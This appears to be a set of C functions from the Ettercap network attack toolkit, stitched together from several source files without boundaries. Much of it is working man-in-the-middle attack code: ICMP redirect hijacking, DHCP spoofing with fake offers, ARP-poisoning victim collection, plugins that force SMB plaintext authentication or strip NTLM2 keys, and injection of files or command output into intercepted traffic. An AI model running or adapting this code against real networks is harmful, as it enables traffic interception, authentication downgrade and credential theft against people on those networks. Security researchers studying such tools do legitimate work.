/* * the redirect function. * * redirect all the traffic that goes thru the gateway * check the dst mac address and the dst ip address. * * respect the TARGETs for the redirections */ static void icmp_redirect(struct packet_object *po) { struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; /* retrieve the gw ip */ i = LIST_FIRST(&redirected_gw.ips); /* the packet must be directed to the gateway */ if (memcmp(po->L2.dst, redirected_gw.mac, MEDIA_ADDR_LEN)) return; /* * if the packet endpoint is the gateway, skip it. * we are interested only in packet going THRU the * gateway, not TO the gateway */ if (!ip_addr_cmp(&po->L3.dst, &i->ip)) return; /* redirect only the connection that match the TARGETS */ EXECUTE(GBL_SNIFF->interesting, po); /* the packet is not interesting */ if ( po->flags & PO_IGNORE ) return; USER_MSG("ICMP redirected %s:%d -> ", ip_addr_ntoa(&po->L3.src, tmp), ntohs(po->L4.src)); USER_MSG("%s:%d\n", ip_addr_ntoa(&po->L3.dst, tmp), ntohs(po->L4.dst)); /* send the ICMP redirect */ send_icmp_redir(ICMP_REDIRECT_HOST, &i->ip, &GBL_IFACE->ip, po); }
/* Clear the encryption bit in the SecurityModel request */ static void parse_smb(struct packet_object *po) { SMB_header *smb; NetBIOS_header *NetBIOS; u_char *ptr; char tmp[MAX_ASCII_ADDR_LEN]; /* It's unuseful to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); /* Let's go to the data */ ptr = (u_char *)(smb + 1); /* According to the Hook Point we are sure that this is * a NegotiateProtocol response packet. * Now we can change the Security Mode * 010 (encrypted) 000 (plaintext) */ if (ptr[3] & 2) { ptr[3] ^= 2; USER_MSG("smb_clear: Forced SMB clear text auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); po->flags |= PO_MODIFIED; } }
/* * log the packet to a file */ static int func_log(struct filter_op *fop, struct packet_object *po) { int fd; DEBUG_MSG("filter engine: func_log"); /* open the file */ fd = open(fop->op.func.string, O_CREAT | O_APPEND | O_RDWR | O_BINARY, 0600); if (fd == -1) { USER_MSG("filter engine: Cannot open file %s\n", fop->op.func.string); return -EFATAL; } /* which data should I have to log ? */ switch(fop->op.func.level) { case 5: if (write(fd, po->DATA.data, po->DATA.len) < 0) USER_MSG("filter engine: Cannot write to file...%d\n", errno); break; case 6: if (write(fd, po->DATA.disp_data, po->DATA.disp_len) < 0) USER_MSG("filter engine: Cannot write to file...\n"); break; default: JIT_FAULT("unsupported log level [%d]", fop->op.func.level); break; } /* close the file */ close(fd); return ESUCCESS; }
/* * kill the capturing threads, but leave untouched the others */ void stop_unified_sniff(void) { pthread_t pid; DEBUG_MSG("stop_unified_sniff"); if (GBL_SNIFF->active == 0) { USER_MSG("Unified sniffing is not running...\n"); return; } /* kill it */ capture_stop(GBL_IFACE); if(GBL_OPTIONS->secondary) secondary_sources_foreach(capture_stop); pid = ec_thread_getpid("sslwrap"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); USER_MSG("Unified sniffing was stopped.\n"); GBL_SNIFF->active = 0; }
/* * parse the packet for ettercap traces */ static void parse_tcp(struct packet_object *po) { struct libnet_tcp_hdr *tcp; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; tcp = (struct libnet_tcp_hdr *)po->L4.header; switch (ntohl(tcp->th_seq)) { case EC_MAGIC_16: USER_MSG("ettercap traces (tcp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); break; case 6969: USER_MSG("ettercap plugin (shadow) is scanning from %s to %s:%d...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2), ntohs(po->L4.dst)); break; case 0xabadc0de: if (ntohl(tcp->th_ack) == 0xabadc0de) USER_MSG("ettercap plugin (spectre) is flooding the lan.\n"); else USER_MSG("ettercap plugin (golem) is DOSing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); break; } if (ntohs(tcp->th_sport) == EC_MAGIC_16 && (tcp->th_flags & TH_SYN) ) USER_MSG("ettercap NG plugin (gw_discover) is trying to dicover the gateway from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); }
/* * creates the threads for capturing */ void start_unified_sniff(void) { DEBUG_MSG("start_unified_sniff"); if (GBL_SNIFF->active == 1) { USER_MSG("Unified sniffing already started...\n"); return; } USER_MSG("Starting Unified sniffing...\n\n"); /* create the timeouter thread */ if (!GBL_OPTIONS->read) { pthread_t pid; pid = ec_thread_getpid("timer"); if (pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_new("timer", "conntrack timeouter", &conntrack_timeouter, NULL); } /* create the thread for packet capture */ ec_thread_new("capture", "pcap handler and packet decoder", &capture, GBL_OPTIONS->iface); /* start ssl_wrapper thread */ if (!GBL_OPTIONS->read && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->only_mitm && GBL_OPTIONS->ssl_mitm) ec_thread_new("sslwrap", "wrapper for ssl connections", &sslw_start, NULL); GBL_SNIFF->active = 1; }
int main(int argc, char *argv[]) { int ret_value = 0; libettercap_init(PROGRAM, EC_VERSION); ef_globals_alloc(); select_text_interface(); libettercap_ui_init(); /* etterfilter copyright */ USER_MSG("\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); /* initialize the line number */ EF_GBL->lineno = 1; /* getopt related parsing... */ parse_options(argc, argv); /* set the input for source file */ if (EF_GBL_OPTIONS->source_file) { yyin = fopen(EF_GBL_OPTIONS->source_file, "r"); if (yyin == NULL) FATAL_ERROR("Input file not found !"); } else { FATAL_ERROR("No source file."); } /* no buffering */ setbuf(yyin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); /* load the tables in etterfilter.tbl */ load_tables(); /* load the constants in etterfilter.cnt */ load_constants(); /* print the message */ USER_MSG("\n Parsing source file \'%s\' ", EF_GBL_OPTIONS->source_file); ef_debug(1, "\n"); /* begin the parsing */ if (yyparse() == 0) USER_MSG(" done.\n\n"); else USER_MSG("\n\nThe script contains errors...\n\n"); /* write to file */ ret_value = write_output(); if (ret_value == -E_NOTHANDLED) FATAL_ERROR("Cannot write output file (%s): the filter is not correctly handled.", EF_GBL_OPTIONS->output_file); else if (ret_value == -E_INVALID) FATAL_ERROR("Cannot write output file (%s): the filter format is not correct. ", EF_GBL_OPTIONS->output_file); ef_exit(0); }
/* * parse the packet for ettercap traces */ static void parse_ip(struct packet_object *po) { struct libnet_ipv4_hdr *ip; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; ip = (struct libnet_ipv4_hdr *)po->L3.header; if (ntohs(ip->ip_id) == EC_MAGIC_16) USER_MSG("ettercap traces (ip) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); if (ntohs(ip->ip_id) == 0xbadc) USER_MSG("ettercap plugin (banshee) is killing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); }
/* Parse the arp request */ static void parse_arp(struct packet_object *po) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; USER_MSG("find_conn: Probable connection attempt %s -> %s\n", ip_addr_ntoa(&po->L3.src, tmp1), ip_addr_ntoa(&po->L3.dst, tmp2)); }
static int find_conn_fini(void *dummy) { USER_MSG("find_conn: plugin terminated...\n"); hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; }
static int find_conn_init(void *dummy) { USER_MSG("find_conn: plugin running...\n"); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_RUNNING; }
static int finger_submit_init(void *dummy) { char finger[FINGER_LEN + 1]; char os[OS_LEN + 1]; /* don't display messages while operating */ GBL_OPTIONS->quiet = 1; memset(finger, 0, sizeof(finger)); memset(os, 0, sizeof(finger)); /* get the user input */ ui_input("Fingerprint ('quit' to exit) : ", finger, sizeof(finger), NULL); /* exit on user request */ if (!strcasecmp(finger, "quit") || !strcmp(finger, "")) return PLUGIN_FINISHED; ui_input("Operating System ('quit' to exit) : ", os, sizeof(os), NULL); /* exit on user request */ if (!strcasecmp(os, "quit") || !strcmp(os, "")) return PLUGIN_FINISHED; USER_MSG("\n"); /* send the fingerprint */ fingerprint_submit(finger, os); /* flush all the messages */ ui_msg_flush(MSG_ALL); return PLUGIN_FINISHED; }
/* * init the ICMP REDIRECT attack */ static int icmp_redirect_start(char *args) { struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("icmp_redirect_start"); /* check the parameter */ if (!strcmp(args, "")) { SEMIFATAL_ERROR("ICMP redirect needs a parameter.\n"); } else { char tmp[strlen(args)+2]; /* add the / to be able to use the target parsing function */ sprintf(tmp, "%s/", args); if (compile_target(tmp, &redirected_gw) != ESUCCESS) SEMIFATAL_ERROR("Wrong target parameter"); } /* we need both mac and ip addresses */ if (redirected_gw.all_mac || redirected_gw.all_ip) SEMIFATAL_ERROR("You must specify both MAC and IP addresses for the GW"); i = LIST_FIRST(&redirected_gw.ips); USER_MSG("ICMP redirect: victim GW %s\n", ip_addr_ntoa(&i->ip, tmp)); /* add the hook to receive all the tcp and udp packets */ hook_add(HOOK_PACKET_TCP, &icmp_redirect); hook_add(HOOK_PACKET_UDP, &icmp_redirect); return ESUCCESS; }
/* * set the encoding to use when converting to UTF-8 */ int set_utf8_encoding(u_char *fromcode) { #ifndef HAVE_UTF8 USER_MSG("UTF-8 support not compiled in."); return ESUCCESS; #else iconv_t cd; DEBUG_MSG("set_utf8_encoding: %s", fromcode); if (fromcode == NULL || strlen(fromcode) < 1) return -EINVALID; SAFE_FREE(utf8_encoding); /* make sure encoding type is supported */ cd = iconv_open("UTF-8", fromcode); if (cd == (iconv_t)(-1)) SEMIFATAL_ERROR("The conversion from %s to UTF-8 is not supported.", fromcode); iconv_close(cd); utf8_encoding = strdup(fromcode); return ESUCCESS; #endif }
static int smb_clear_fini(void *dummy) { USER_MSG("smb_clear: plugin terminated...\n"); hook_del(HOOK_PROTO_SMB, &parse_smb); return PLUGIN_FINISHED; }
int ec_win_wait (int *status) { USER_MSG("wait() not yet supported"); errno = ENOSYS; (void) status; return -1; }
static int gre_relay_init(void *dummy) { char tmp[MAX_ASCII_ADDR_LEN]; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("gre_relay: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } /* don't display messages while operating */ GBL_OPTIONS->quiet = 1; memset(tmp, 0, sizeof(tmp)); ui_input("Unused IP address: ", tmp, sizeof(tmp), NULL); if (!inet_aton(tmp, &fake_ip)) { INSTANT_USER_MSG("gre_relay: Bad IP address\n"); return PLUGIN_FINISHED; } USER_MSG("gre_relay: plugin running...\n"); hook_add(HOOK_PACKET_GRE, &parse_gre); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_RUNNING; }
/* * inject a file into the communication */ static int func_inject(struct filter_op *fop, struct packet_object *po) { int fd; void *file; size_t size, ret; /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); DEBUG_MSG("filter engine: func_inject %s", fop->op.func.string); /* open the file */ if ((fd = open(fop->op.func.string, O_RDONLY | O_BINARY)) == -1) { USER_MSG("filter engine: inject(): File not found (%s)\n", fop->op.func.string); return -EFATAL; } /* get the size */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(file, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, file, size); close(fd); if (ret != size) FATAL_MSG("Cannot read the file into memory"); /* check if we are overflowing pcap buffer */ if(GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + size) JIT_FAULT("injected file too long"); /* copy the file into the buffer */ memcpy(po->DATA.data + po->DATA.len, file, size); /* Adjust packet len and delta */ po->DATA.delta += size; po->DATA.len += size; /* mark the packet as modified */ po->flags |= PO_MODIFIED; /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* close and unmap the file */ SAFE_FREE(file); return ESUCCESS; }
/* * inject output of a executable into the communication */ static int func_execinject(struct filter_op *fop, struct packet_object *po) { FILE *pstream = NULL; unsigned char *output = NULL; size_t n = 0, offset = 0, size = 128; unsigned char buf[size]; /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); DEBUG_MSG("filter engine: func_execinject %s", fop->op.func.string); /* open the pipe */ if ((pstream = popen((const char*)fop->op.func.string, "r")) == NULL) { USER_MSG("filter engine: execinject(): Command not found (%s)\n", fop->op.func.string); return -E_FATAL; } while ((n = read(fileno(pstream), buf, size)) != 0) { if (output == NULL) { SAFE_CALLOC(output, offset+n, sizeof(unsigned char)); } else { SAFE_REALLOC(output, sizeof(unsigned char)*(offset+n)); } memcpy(output+offset, buf, n); offset += n; } /* close pipe stream */ pclose(pstream); /* check if we are overflowing pcap buffer */ if(GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)offset) JIT_FAULT("injected output too long"); /* copy the output into the buffer */ memcpy(po->DATA.data + po->DATA.len, output, offset); /* Adjust packet len and delta */ po->DATA.delta += offset; po->DATA.len += offset; /* mark the packet as modified */ po->flags |= PO_MODIFIED; /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* free memory */ SAFE_FREE(output); return E_SUCCESS; }
static int gre_relay_fini(void *dummy) { USER_MSG("gre_relay: plugin terminated...\n"); hook_del(HOOK_PACKET_GRE, &parse_gre); hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; }
/* Clear the encryption bit in the SecurityModel request */ static void parse_smb(struct packet_object *po) { SMB_header *smb; NetBIOS_header *NetBIOS; u_char *ptr; u_int32 *Flags; char tmp[MAX_ASCII_ADDR_LEN]; /* It's unuseful to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); /* Let's go to the data */ ptr = (u_char *)(smb + 1); /* According to the Hook Point we are sure that this is * a SessionSetup request packet. * Let's check if it's NTLMSSP_NEGOTIATE */ ptr += ( (*ptr) * 2 + 3 ); if ( (ptr = (char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return; ptr = strchr(ptr, 0); ptr++; /* NTLMSSP_NEGOTIATE */ if (*ptr != 1) return; ptr+=4; /* Catch the flags */ Flags = (u_int32 *)ptr; if (*Flags & ntohl(NTLM2_KEY)) { *Flags ^= ntohl(NTLM2_KEY); USER_MSG("smb_down: Forced no NTLM2 key %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); po->flags |= PO_MODIFIED; } }
/* Parse the arp packets */ static void parse_arp(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct ip_list *t; /* if arp poisonin is not running, do nothing */ if (!is_mitm_active("arp")) return; /* don't add our addresses */ if (!ip_addr_cmp(&EC_GBL_IFACE->ip, &po->L3.src)) return; if (!memcmp(&EC_GBL_IFACE->mac, &po->L2.src, MEDIA_ADDR_LEN)) return; /* don't add undefined address */ if (ip_addr_is_zero(&po->L3.src)) return; /* search in target 1 */ if (EC_GBL_TARGET1->all_ip) { if (add_to_victims(&arp_group_one, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) if (add_to_victims(&arp_group_one, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } /* search in target 2 */ if (EC_GBL_TARGET2->all_ip) { if (add_to_victims(&arp_group_two, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) if (add_to_victims(&arp_group_two, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } }
/* * shut down the redirect process */ static void icmp_redirect_stop(void) { DEBUG_MSG("icmp_redirect_stop"); USER_MSG("ICMP redirect stopped.\n"); /* delete the hook points */ hook_del(HOOK_PACKET_TCP, &icmp_redirect); hook_del(HOOK_PACKET_UDP, &icmp_redirect); }
/* * regain root privs */ void regain_privs(void) { #ifdef OS_WINDOWS return; #endif if(seteuid(0) < 0) ERROR_MSG("seteuid()"); USER_MSG("Regained root privileges: %d %d", getuid(), geteuid()); }
/* * parse the packet for ettercap traces */ static void parse_icmp(struct packet_object *po) { struct libnet_icmpv4_hdr *icmp; char tmp[MAX_ASCII_ADDR_LEN]; icmp = (struct libnet_icmpv4_hdr *)po->L4.header; if (ntohs(icmp->hun.echo.id) == EC_MAGIC_16 && ntohs(icmp->hun.echo.seq) == EC_MAGIC_16) USER_MSG("ettercap traces (icmp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); }
/* * parses the discovery message and send the spoofed reply */ static void dhcp_spoofing_disc(struct packet_object *po) { char dhcp_hdr[LIBNET_DHCPV4_H]; struct libnet_dhcpv4_hdr *dhcp; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("dhcp_spoofing_disc"); /* no more ip available in the pool */ if (dhcp_free_ip == SLIST_END(&dhcp_ip_pool.ips)) return; /* get a local copy of the dhcp header */ memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H); dhcp = (struct libnet_dhcpv4_hdr *)dhcp_hdr; /* use the same dhcp header, but change the type of the message */ dhcp->dhcp_opcode = LIBNET_DHCP_REPLY; /* this is a dhcp OFFER */ dhcp_options[2] = DHCP_OFFER; /* set the free ip from the pool */ dhcp->dhcp_yip = ip_addr_to_int32(&dhcp_free_ip->ip.addr); /* set it in the header */ dhcp->dhcp_sip = ip_addr_to_int32(&GBL_IFACE->ip.addr); /* set it in the options */ ip_addr_cpy((u_char*)dhcp_options + 5, &GBL_IFACE->ip); /* send the packet */ send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); USER_MSG("DHCP spoofing: fake OFFER [%s] ", mac_addr_ntoa(po->L2.src, tmp)); USER_MSG("offering %s \n", ip_addr_ntoa(&dhcp_free_ip->ip, tmp)); /* move the pointer to the next ip */ dhcp_free_ip = LIST_NEXT(dhcp_free_ip, next); }
static int repoison_arp_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("repoison_arp: plugin terminated...\n"); hook_del(HOOK_PACKET_ARP_RQ, &repoison_func); hook_del(HOOK_PACKET_ARP_RP, &repoison_func); return PLUGIN_FINISHED; }
/* * shut down the redirect process */ static void dhcp_spoofing_stop(void) { DEBUG_MSG("dhcp_spoofing_stop"); USER_MSG("DHCP spoofing stopped.\n"); /* remove the hookpoint */ hook_del(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req); hook_del(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc); }
static int smb_clear_init(void *dummy) { /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("smb_clear: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("smb_clear: plugin running...\n"); hook_add(HOOK_PROTO_SMB, &parse_smb); return PLUGIN_RUNNING; }
/* * if privacy extension for IPv6 is enabled, under certain * circumstances, an IPv6 socket can not be written exiting with * code -1 bytes written (Cannot assign requested address). * see pull request #245.(https://github.com/Ettercap/ettercap/pull/245) * * this usually happens after returning from hibernation * therefore we should warn users. * * however investigation of the root cause continues but as long as * it isn't identified and fixed, this function is being kept. */ void check_tempaddr(const char *iface) { FILE *fd; int mode_global, mode_iface; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/use_tempaddr"; char fpath_iface[64]; snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/use_tempaddr", iface); fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); mode_global = fgetc(fd); ON_ERROR(mode_global, EOF, "failed to read value from %s", fpath_global); fclose(fd); DEBUG_MSG("check_tempaddr: %s = %c", fpath_global, mode_global); fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); mode_iface = fgetc(fd); ON_ERROR(mode_iface, EOF, "failed to read value from %s", fpath_iface); fclose(fd); DEBUG_MSG("check_tempaddr: %s = %c", fpath_iface, mode_iface); if (mode_global != '0') USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", fpath_global); if (mode_iface != '0') USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", fpath_iface); }